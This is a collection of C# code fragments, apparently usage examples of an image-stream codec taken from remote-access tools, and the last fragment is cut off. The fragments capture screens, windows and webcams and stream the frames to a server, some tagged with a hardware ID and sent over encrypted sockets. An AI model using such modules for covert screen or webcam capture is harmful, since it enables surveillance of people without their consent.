private void Execute(ISender client, GetDesktopResponse message) { lock (_syncLock) { if (!IsStarted) { return; } if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution) { _codec?.Dispose(); _codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution); } using (MemoryStream ms = new MemoryStream(message.Image)) { // create deep copy & resize bitmap to local resolution OnReport(new Bitmap(_codec.DecodeData(ms), LocalResolution)); } message.Image = null; client.Send(new GetDesktop { Quality = message.Quality, DisplayIndex = message.Monitor }); } }
public static void CaptureAndSend() { try { IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60); while (RemoteDesktop_Status == true) { if (!ClientSocket.Client.Connected) { break; } Bitmap bmp = GetScreen(); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); Size size = new Size(bmp.Width, bmp.Height); BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); using (MemoryStream stream = new MemoryStream(1000000)) { unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream); if (stream.Length > 0) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); ClientSocket.BeginSend(msgpack.Encode2Bytes()); } } bmp.UnlockBits(bmpData); bmp.Dispose(); } } catch { } }
private static void StreamScreen() { while (RDActive && MainClient.Connected) { byte[] ImageBytes = null; IUnsafeCodec UC = new UnsafeStreamCodec(75); Bitmap Image = GetDesktopImage(); int Width = Image.Width; int Height = Image.Height; BitmapData BD = GetDesktopImage().LockBits(new Rectangle(0, 0, Image.Width, Image.Height), ImageLockMode.ReadWrite, Image.PixelFormat); using (MemoryStream MS = new MemoryStream()) { UC.CodeImage(BD.Scan0, new Rectangle(0, 0, Width, Height), new Size(Width, Height), Image.PixelFormat, MS); ImageBytes = MS.ToArray(); } List <byte> ToSend = new List <byte>(); ToSend.Add(0); //Image Type ToSend.AddRange(ImageBytes); MainClient.Send(ToSend.ToArray()); Thread.Sleep(UpdateInterval); } }
public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client) { if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor) { StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor); } LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Monitor); BitmapData bmpdata = LastDesktopScreenshot.LockBits( new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), ImageLockMode.ReadWrite, LastDesktopScreenshot.PixelFormat); using (MemoryStream stream = new MemoryStream()) { try { StreamCodec.CodeImage(bmpdata.Scan0, new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat, stream); new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client); } catch { new Packets.ClientPackets.DesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client); StreamCodec = null; } } LastDesktopScreenshot.UnlockBits(bmpdata); LastDesktopScreenshot.Dispose(); }
private static async void StartRemoteDestkop() { while (RemoteDesktopActive) { byte[] ImageBytes = null; IUnsafeCodec UC = new UnsafeStreamCodec(50); Bitmap Image = GetDesktopImage(); Rectangle Rect = new Rectangle(0, 0, Image.Width, Image.Height); Size S = new Size(Image.Width, Image.Height); BitmapData BD = Image.LockBits(new Rectangle(0, 0, Image.Width, Image.Height), ImageLockMode.ReadWrite, Image.PixelFormat); using (MemoryStream MS = new MemoryStream(1000000000)) { UC.CodeImage(BD.Scan0, Rect, S, Image.PixelFormat, MS); ImageBytes = MS.ToArray(); } List <byte> ToSend = new List <byte>(); ToSend.Add((int)DataType.ImageType); ToSend.AddRange(ImageBytes); Networking.MainClient.Send(ToSend.ToArray()); Image.UnlockBits(BD); Image.Dispose(); } }
private unsafe void ProcessImage(byte[] data, int index) { if (!IsStreaming) { return; } lock (_unsafeStreamLock) { if (!IsStreaming) { return; } if (_unsafeStreamCodec != null && (_currentDevice != _webcamSettings.MonikerString || _currentResolution != _webcamSettings.Resolution)) { _unsafeStreamCodec.Dispose(); _unsafeStreamCodec = null; } if (_unsafeStreamCodec == null) { _currentResolution = _webcamSettings.Resolution; _currentDevice = _webcamSettings.MonikerString; _unsafeStreamCodec = new UnsafeStreamCodec(UnsafeStreamCodecParameters.None); } WriteableBitmap writeableBitmap; fixed(byte *dataPtr = data) writeableBitmap = _unsafeStreamCodec.DecodeData(dataPtr + index, (uint)(data.Length - index), Application.Current.Dispatcher); _framesReceived++; if (_writeableBitmap != writeableBitmap) { _writeableBitmap = writeableBitmap; RefreshWriteableBitmap?.Invoke(this, writeableBitmap); } } if (IsStreaming) { GetWebcamImage(); } if (FramesPerSecond == 0 && _framesReceived == 0) { _frameTimestamp = DateTime.UtcNow; } else if (DateTime.UtcNow - _frameTimestamp > TimeSpan.FromSeconds(1)) { FramesPerSecond = _framesReceived; _framesReceived = 0; _frameTimestamp = DateTime.UtcNow; } }
public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Client client) { var resolution = FormatHelper.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor)); if (StreamCodec == null) StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution); if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor || StreamCodec.Resolution != resolution) { if (StreamCodec != null) StreamCodec.Dispose(); StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution); } BitmapData desktopData = null; Bitmap desktop = null; try { desktop = ScreenHelper.CaptureScreen(command.Monitor); desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), ImageLockMode.ReadWrite, desktop.PixelFormat); using (MemoryStream stream = new MemoryStream()) { if (StreamCodec == null) throw new Exception("StreamCodec can not be null."); StreamCodec.CodeImage(desktopData.Scan0, new Rectangle(0, 0, desktop.Width, desktop.Height), new Size(desktop.Width, desktop.Height), desktop.PixelFormat, stream); new Packets.ClientPackets.GetDesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, StreamCodec.Monitor, StreamCodec.Resolution).Execute(client); } } catch (Exception) { if (StreamCodec != null) new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor, StreamCodec.Resolution).Execute(client); StreamCodec = null; } finally { if (desktop != null) { if (desktopData != null) { desktop.UnlockBits(desktopData); } desktop.Dispose(); } } }
private void BeginAccept_Callback(IAsyncResult ar) { try { Socket sock = Server.EndAccept(ar); IUnsafeCodec decoder = new UnsafeStreamCodec(80); int FPS = 0; Stopwatch sw = Stopwatch.StartNew(); Stopwatch RenderSW = Stopwatch.StartNew(); while (sock.Connected) { //keep receiving data byte[] Header = ReceiveData(4, sock); if (Header.Length != 4) { break; } int length = BitConverter.ToInt32(Header, 0); byte[] Payload = ReceiveData(length, sock); if (Payload.Length != length) { break; } Bitmap decoded = decoder.DecodeData(new MemoryStream(Payload)); if (RenderSW.ElapsedMilliseconds >= (1000 / 20)) { this.pictureBox1.Image = (Bitmap)decoded.Clone(); RenderSW = Stopwatch.StartNew(); } FPS++; if (sw.ElapsedMilliseconds >= 1000) { this.Invoke(new Invoky(() => { this.Fpslbl.Text = "FPS: " + FPS; this.ScreenSizelbl.Text = "Screen Size: " + decoded.Width + " x " + decoded.Height; })); performanceChart1.AddValue(FpsLine, FPS); FPS = 0; sw = Stopwatch.StartNew(); } } } catch (Exception ex) { MessageBox.Show(ex.Message); } Server.BeginAccept(BeginAccept_Callback, null); }
/// <summary> /// Begins receiving frames from the client using the specified quality and display. /// </summary> /// <param name="quality">The quality of the remote desktop frames.</param> /// <param name="display">The display to receive frames from.</param> public void BeginReceiveFrames(int quality, int display) { lock (_syncLock) { IsStarted = true; _codec?.Dispose(); _codec = null; _client.Send(new GetDesktop { CreateNew = true, Quality = quality, DisplayIndex = display }); } }
public static void CaptureAndSend(int quality, int Scrn) { Bitmap bmp = null; BitmapData bmpData = null; Rectangle rect; Size size; MsgPack msgpack; IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality); MemoryStream stream; Thread.Sleep(1); while (IsOk && Connection.IsConnected) { try { bmp = GetScreen(Scrn); rect = new Rectangle(0, 0, bmp.Width, bmp.Height); size = new Size(bmp.Width, bmp.Height); bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); using (stream = new MemoryStream()) { unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream); if (stream.Length > 0) { msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("ID").AsString = Connection.Hwid; msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(Screen.AllScreens.Length); new Thread(() => { Connection.Send(msgpack.Encode2Bytes()); }).Start(); } } bmp.UnlockBits(bmpData); bmp.Dispose(); } catch { Connection.Disconnected(); break; } } try { IsOk = false; bmp?.UnlockBits(bmpData); bmp?.Dispose(); GC.Collect(); } catch { } }
public override void Dispose() { base.Dispose(); //important, else dead lock because this is UI thread and lock invokdes into UI thread -> block Task.Run(() => { lock (_unsafeStreamLock) { _unsafeStreamCodec?.Dispose(); _unsafeStreamCodec = null; } }); }
public void CaptureAndSend(int quality, int Scrn) { TempSocket tempSocket = new TempSocket(); string hwid = Methods.HWID(); Bitmap bmp = null; BitmapData bmpData = null; Rectangle rect; Size size; MsgPack msgpack; IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality); MemoryStream stream; while (tempSocket.IsConnected && ClientSocket.IsConnected) { try { bmp = GetScreen(Scrn); rect = new Rectangle(0, 0, bmp.Width, bmp.Height); size = new Size(bmp.Width, bmp.Height); bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); using (stream = new MemoryStream()) { unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream); if (stream.Length > 0) { msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("ID").AsString = hwid; msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length); tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); tempSocket.SslClient.Write(msgpack.Encode2Bytes()); tempSocket.SslClient.Flush(); } } bmp.UnlockBits(bmpData); bmp.Dispose(); } catch { break; } } try { bmp?.UnlockBits(bmpData); bmp?.Dispose(); tempSocket?.Dispose(); } catch { } }
public override void Dispose() { lock (_framesLock) { _lastFrame?.Dispose(); _lastFrame = null; } _videoCaptureDevice?.Stop(); _unsafeStreamCodec?.Dispose(); _unsafeStreamCodec = null; _videoCaptureDevice = null; }
//Convert byte array to image public Image ByteArrayToImage(byte[] ByteArrayIn) { using (var MS = new MemoryStream(ByteArrayIn)) { try { IUnsafeCodec UC = new UnsafeStreamCodec(60); return(UC.DecodeData(MS)); } catch { return(null); } } }
public unsafe void UpdateImage(byte[] data, int index, uint length) { if (_unsafeStreamCodec == null || _codecHeight != _height || _codecWidth != _width) { _unsafeStreamCodec?.Dispose(); _unsafeStreamCodec = new UnsafeStreamCodec(UnsafeStreamCodecParameters.None); _codecHeight = _height; _codecWidth = _width; } fixed(byte *dataPtr = data) Image = _unsafeStreamCodec.DecodeData(dataPtr + index, length, Application.Current.Dispatcher); LastUpdateUtc = DateTime.UtcNow; }
public void CaptureAndSend(int quality) { try { Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { SendBufferSize = 50 * 1024, ReceiveBufferSize = 50 * 1024, }; Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); SslStream SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); string hwid = Methods.HWID(); IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality); while (Client.Connected) { if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected) { break; } Bitmap bmp = GetScreen(); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); Size size = new Size(bmp.Width, bmp.Height); BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); using (MemoryStream stream = new MemoryStream(10000000)) { unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream); if (stream.Length > 0) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("ID").AsString = hwid; msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); SslClient.Write(msgpack.Encode2Bytes()); SslClient.Flush(); } } bmp.UnlockBits(bmpData); bmp.Dispose(); } } catch { } }
private void Stream() { int FPS = 0; Stopwatch sw = Stopwatch.StartNew(); Stopwatch RenderSW = Stopwatch.StartNew(); try { Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.Connect("localhost", 4432); StreamLibrary.IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80); while (true) { Bitmap bmp = CaptureScreen(); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); Size size = new System.Drawing.Size(bmp.Width, bmp.Height); BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); if (RenderSW.ElapsedMilliseconds >= (1000 / 20)) { this.pictureBox1.Image = (Bitmap)bmp.Clone(); RenderSW = Stopwatch.StartNew(); } FPS++; using (MemoryStream stream = new MemoryStream(10000000)) { unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream); if (stream.Length > 0) { socket.Send(BitConverter.GetBytes((int)stream.Length)); socket.Send(stream.GetBuffer(), (int)stream.Length, SocketFlags.None); } } bmp.UnlockBits(bmpData); bmp.Dispose(); } } catch (Exception ex) { Console.WriteLine(ex.Message); } }
private void Execute(ISender client, GetWebcam message) { if (message.Destroy) { _webcamHelper.StopRunningVideo(); OnReport("Remote webcam session stopped"); return; } _webcamHelper.Init(message.DisplayIndex); var resolution = new Resolution { Height = _webcamHelper._resolution.Height, Width = _webcamHelper._resolution.Width }; if (_streamCodec == null) { _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); } if (message.CreateNew) { _streamCodec?.Dispose(); _webcamHelper.NewVideoSource(message.DisplayIndex); _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); OnReport("Remote webcam session started"); } if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) { _streamCodec?.Dispose(); _webcamHelper.NewVideoSource(message.DisplayIndex); _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); } if (_webcamHelper._currentFrame == null) { Bitmap emptyFrame = new Bitmap(1920, 1080, PixelFormat.Format32bppPArgb); SendFrame(client, emptyFrame, resolution); } else { Bitmap webcamFrame = new Bitmap(_webcamHelper._currentFrame); SendFrame(client, webcamFrame, resolution); } }
public async void Stop() { ConnectionInfo.SendCommand(this, new[] { (byte)WebcamCommunication.Stop }); LogService.Send((string)Application.Current.Resources["StopWebcam"]); //important, else dead lock because this is UI thread and lock invokdes into UI thread -> block await Task.Run(() => { lock (_unsafeStreamLock) { _unsafeStreamCodec?.Dispose(); _unsafeStreamCodec = null; } }); _framesReceived = 0; }
private void BeginAccept_Callback(IAsyncResult ar) { try { Socket sock = Server.EndAccept(ar); IUnsafeCodec decoder = new UnsafeStreamCodec(80); int FPS = 0; Stopwatch sw = Stopwatch.StartNew(); Stopwatch RenderSW = Stopwatch.StartNew(); while (sock.Connected) { //keep receiving data byte[] Header = ReceiveData(4, sock); if (Header.Length != 4) { break; } int length = BitConverter.ToInt32(Header, 0); byte[] Payload = ReceiveData(length, sock); if (Payload.Length != length) { break; } Bitmap decoded = decoder.DecodeData(new MemoryStream(Payload)); if (RenderSW.ElapsedMilliseconds >= (1000 / 20)) { this.pictureBox1.Image = (Bitmap)decoded.Clone(); RenderSW = Stopwatch.StartNew(); } FPS++; } } catch (Exception ex) { MessageBox.Show(ex.Message); } Server.BeginAccept(BeginAccept_Callback, null); }
public void CaptureAndSend(int quality) { try { Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); string hwid = Methods.HWID(); IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality); while (Client.Connected) { if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected) { break; } Bitmap bmp = GetScreen(); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); Size size = new Size(bmp.Width, bmp.Height); BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); using (MemoryStream stream = new MemoryStream(10000000)) { unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream); if (stream.Length > 0) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("ID").AsString = hwid; msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); Client.Send(BitConverter.GetBytes(Settings.aes256.Encrypt(msgpack.Encode2Bytes()).Length)); Client.Send(Settings.aes256.Encrypt(msgpack.Encode2Bytes())); } } bmp.UnlockBits(bmpData); bmp.Dispose(); } } catch { } }
static void Main(string[] args) { while (true) //keep connecting { try { Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.Connect("localhost", 4432); IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80); Console.WriteLine("connected"); while (true) { Bitmap bmp = CaptureScreen(); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); Size size = new System.Drawing.Size(bmp.Width, bmp.Height); BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); using (MemoryStream stream = new MemoryStream(10000000)) //allocate already enough memory to make it fast { unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream); if (stream.Length > 0) { //send the stream over to the server //to make it more stable we also send how big the stream of data is socket.Send(BitConverter.GetBytes((int)stream.Length)); //we convert it to INT, safes us 4 bytes socket.Send(stream.GetBuffer(), (int)stream.Length, SocketFlags.None); } } bmp.UnlockBits(bmpData); bmp.Dispose(); } } catch (Exception ex) { Console.WriteLine(ex.Message); } } }
private static void StartRemoteDestkop() { while (RemoteDesktopActive) { byte[] ImageBytes = null; IUnsafeCodec UC = new UnsafeStreamCodec(60); Bitmap Image = GetDesktopImage(); int Width = Image.Width; int Height = Image.Height; BitmapData BD = GetDesktopImage().LockBits(new Rectangle(0, 0, Image.Width, Image.Height), ImageLockMode.ReadWrite, Image.PixelFormat); using (MemoryStream MS = new MemoryStream()) { UC.CodeImage(BD.Scan0, new Rectangle(0, 0, Width, Height), new Size(Width, Height), Image.PixelFormat, MS); ImageBytes = MS.ToArray(); } List <byte> ToSend = new List <byte>(); ToSend.Add(0); //Image Type ToSend.AddRange(ImageBytes); Networking.MainClient.Send(ToSend.ToArray()); Thread.Sleep(Convert.ToInt16(20)); } }
private void SendFrame(ISender client, Bitmap imageData, Resolution resolution) { BitmapData webcamData = null; Bitmap webcam = null; try { webcam = imageData; webcamData = webcam.LockBits(new Rectangle(0, 0, resolution.Width, resolution.Height), ImageLockMode.ReadWrite, PixelFormat.Format32bppPArgb); using (MemoryStream stream = new MemoryStream()) { if (_streamCodec == null) { throw new Exception("StreamCodec can not be null."); } _streamCodec.CodeImage(webcamData.Scan0, new Rectangle(0, 0, resolution.Width, resolution.Height), new Size(resolution.Width, resolution.Height), PixelFormat.Format32bppPArgb, stream); client.Send(new GetWebcamResponse { Image = stream.ToArray(), Quality = _streamCodec.ImageQuality, Webcam = _streamCodec.Monitor, Resolution = _streamCodec.Resolution }); } } catch (Exception) { if (_streamCodec != null) { client.Send(new GetWebcamResponse { Image = null, Quality = _streamCodec.ImageQuality, Webcam = _streamCodec.Monitor, Resolution = _streamCodec.Resolution }); } _streamCodec = null; } finally { if (webcam != null) { if (webcamData != null) { try { webcam.UnlockBits(webcamData); } catch (Exception ex) { Debug.WriteLine(ex.Message); } } webcam.Dispose(); } } }
public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo) { switch ((WebcamCommunication)parameter[0]) { case WebcamCommunication.Start: _webcamSettings = new Serializer(typeof(WebcamSettings)).Deserialize <WebcamSettings>(parameter, 1); if (_videoCaptureDevice != null && _videoCaptureDevice.Source != _webcamSettings.MonikerString) { _videoCaptureDevice.Stop(); _videoCaptureDevice = null; } if (_videoCaptureDevice == null) { _videoCaptureDevice = new VideoCaptureDevice(_webcamSettings.MonikerString); } try { _videoCaptureDevice.VideoResolution = _videoCaptureDevice.VideoCapabilities[_webcamSettings.Resolution]; } catch (Exception) { ResponseByte((byte)WebcamCommunication.ResponseResolutionNotFoundUsingDefault, connectionInfo); } _isRunning = true; _videoCaptureDevice.NewFrame += _videoCaptureDevice_NewFrame; _videoCaptureDevice.Start(); ResponseByte((byte)WebcamCommunication.ResponseStarted, connectionInfo); break; case WebcamCommunication.Stop: if (_videoCaptureDevice != null) { _videoCaptureDevice.NewFrame -= _videoCaptureDevice_NewFrame; _videoCaptureDevice.Stop(); _isRunning = false; lock (_unsafeStreamCodecLock) { _unsafeStreamCodec?.Dispose(); _unsafeStreamCodec = null; } _videoCaptureDevice = null; lock (_framesLock) { _lastFrame?.Dispose(); _lastFrame = null; } ResponseByte((byte)WebcamCommunication.ResponseStopped, connectionInfo); } break; case WebcamCommunication.GetImage: if (_lastFrame == null) { if (!_isRunning) { return; } _screenWaitEvent?.Close(); _screenWaitEvent = new AutoResetEvent(false); if (!_screenWaitEvent.WaitOne(10000, false)) { if (!_isRunning) { return; } ResponseByte((byte)WebcamCommunication.ResponseNoFrameReceived, connectionInfo); _videoCaptureDevice.NewFrame -= _videoCaptureDevice_NewFrame; _videoCaptureDevice.Stop(); _unsafeStreamCodec?.Dispose(); _unsafeStreamCodec = null; _videoCaptureDevice = null; return; } } if (!_isRunning) { return; } lock (_unsafeStreamCodecLock) { if (!_isRunning) { return; } if (_unsafeStreamCodec != null && (_currentResolution != _webcamSettings.Resolution || _currentDevice != _webcamSettings.MonikerString)) { _unsafeStreamCodec.Dispose(); _unsafeStreamCodec = null; } if (_unsafeStreamCodec == null) { _currentResolution = _webcamSettings.Resolution; _currentDevice = _webcamSettings.MonikerString; _unsafeStreamCodec = new UnsafeStreamCodec(UnsafeStreamCodecParameters.None) { ImageQuality = parameter[1] }; } IDataInfo dataInfo; lock (_framesLock) { var webcamData = _lastFrame.LockBits(new Rectangle(0, 0, _lastFrame.Width, _lastFrame.Height), ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb); dataInfo = _unsafeStreamCodec.CodeImage(webcamData.Scan0, new Rectangle(0, 0, webcamData.Width, webcamData.Height), new Size(_lastFrame.Width, _lastFrame.Height), webcamData.PixelFormat); _lastFrame.UnlockBits(webcamData); } connectionInfo.UnsafeResponse(this, dataInfo.Length + 1, writer => { writer.Write((byte)WebcamCommunication.ResponseFrame); dataInfo.WriteIntoStream(writer.BaseStream); }); } break; case WebcamCommunication.GetWebcams: if (CoreHelper.RunningOnVistaOrGreater) { var webcams = new FilterInfoCollection(FilterCategory.VideoInputDevice).OfType <FilterInfo>() .Select( x => new WebcamInfo { MonikerString = x.MonikerString, Name = x.Name, AvailableResolutions = new VideoCaptureDevice(x.MonikerString).VideoCapabilities.Select( y => new WebcamResolution { Width = y.FrameSize.Width, Heigth = y.FrameSize.Height }).ToList() }) .ToList(); ResponseBytes((byte)WebcamCommunication.ResponseWebcams, new Serializer(typeof(List <WebcamInfo>)).Serialize(webcams), connectionInfo); } else { ResponseByte((byte)WebcamCommunication.ResponseNotSupported, connectionInfo); } break; default: throw new ArgumentOutOfRangeException(); } }
public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Client client) { var resolution = FormatHelper.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor)); if (StreamCodec == null) { StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution); } if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor || StreamCodec.Resolution != resolution) { if (StreamCodec != null) { StreamCodec.Dispose(); } StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution); } BitmapData desktopData = null; Bitmap desktop = null; try { desktop = ScreenHelper.CaptureScreen(command.Monitor); desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), ImageLockMode.ReadWrite, desktop.PixelFormat); using (MemoryStream stream = new MemoryStream()) { if (StreamCodec == null) { throw new Exception("StreamCodec can not be null."); } StreamCodec.CodeImage(desktopData.Scan0, new Rectangle(0, 0, desktop.Width, desktop.Height), new Size(desktop.Width, desktop.Height), desktop.PixelFormat, stream); new Packets.ClientPackets.GetDesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, StreamCodec.Monitor, StreamCodec.Resolution).Execute(client); } } catch (Exception) { if (StreamCodec != null) { new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor, StreamCodec.Resolution).Execute(client); } StreamCodec = null; } finally { if (desktop != null) { if (desktopData != null) { try { desktop.UnlockBits(desktopData); } catch { } } desktop.Dispose(); } } }
public IDataInfo Render() { RECT rect; if (!NativeMethods.GetWindowRect(Handle, out rect) || rect.Width == 0 || rect.Height == 0) { return(null); } if (_unsafeStreamCodec == null || _codecWidth != rect.Width || _codecHeight != rect.Height) { _unsafeStreamCodec?.Dispose(); _unsafeStreamCodec = new UnsafeStreamCodec(UnsafeStreamCodecParameters.None); _codecWidth = rect.Width; _codecHeight = rect.Height; } /*IntPtr hdcSrc = GetWindowDC(Handle); * // get the size * RECT windowRect; * NativeMethods.GetWindowRect(Handle, out windowRect); * * int width = windowRect.Right - windowRect.Left; * int height = windowRect.Bottom - windowRect.Top; * * IntPtr hdcDest = CreateCompatibleDC(hdcSrc); * * IntPtr hBitmap = CreateCompatibleBitmap(hdcSrc, width, height); * // select the bitmap object * IntPtr hOld = SelectObject(hdcDest, hBitmap); * // bitblt over * BitBlt(hdcDest, 0, 0, width, height, hdcSrc, 0, 0, SRCCOPY); * // restore selection * SelectObject(hdcDest, hOld); * // clean up * DeleteDC(hdcDest); * ReleaseDC(Handle, hdcSrc); * // get a .NET image object for it * Bitmap img = Image.FromHbitmap(hBitmap); * // free up the Bitmap object * DeleteObject(hBitmap); * * using (img) * { * var imageData = img.LockBits(new Rectangle(0, 0, img.Width, img.Height), * ImageLockMode.ReadOnly, img.PixelFormat); * * try * { * return _unsafeStreamCodec.CodeImage(imageData.Scan0, new Rectangle(new Point(0, 0), img.Size), * img.Size, img.PixelFormat); * } * catch (Exception) * { * return null; * } * finally * { * img.UnlockBits(imageData); * } * }*/ using (var windowImage = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppPArgb)) { using (var gfxBmp = Graphics.FromImage(windowImage)) { var hdcBitmap = gfxBmp.GetHdc(); try { if (!NativeMethods.PrintWindow(Handle, hdcBitmap, 0)) { return(null); } } finally { gfxBmp.ReleaseHdc(hdcBitmap); } } var imageData = windowImage.LockBits(new Rectangle(0, 0, windowImage.Width, windowImage.Height), ImageLockMode.ReadWrite, windowImage.PixelFormat); try { return(_unsafeStreamCodec.CodeImage(imageData.Scan0, new Rectangle(new Point(0, 0), windowImage.Size), windowImage.Size, windowImage.PixelFormat)); } catch (Exception) { return(null); } finally { windowImage.UnlockBits(imageData); } } }
public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Client client) { if (command.Action == RemoteDesktopAction.Stop) { IsStreamingDesktop = false; return; } if (IsStreamingDesktop) return; IsStreamingDesktop = true; var resolution = FormatHelper.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor)); if (StreamCodec == null) StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution); if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor || StreamCodec.Resolution != resolution) { if (StreamCodec != null) StreamCodec.Dispose(); StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution); } new Thread(() => { while (IsStreamingDesktop) { if (!Program.ConnectClient.Connected) // disconnected { IsStreamingDesktop = false; return; } // check screen resolution while streaming remote desktop resolution = FormatHelper.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor)); if (StreamCodec != null && StreamCodec.Resolution != resolution) { 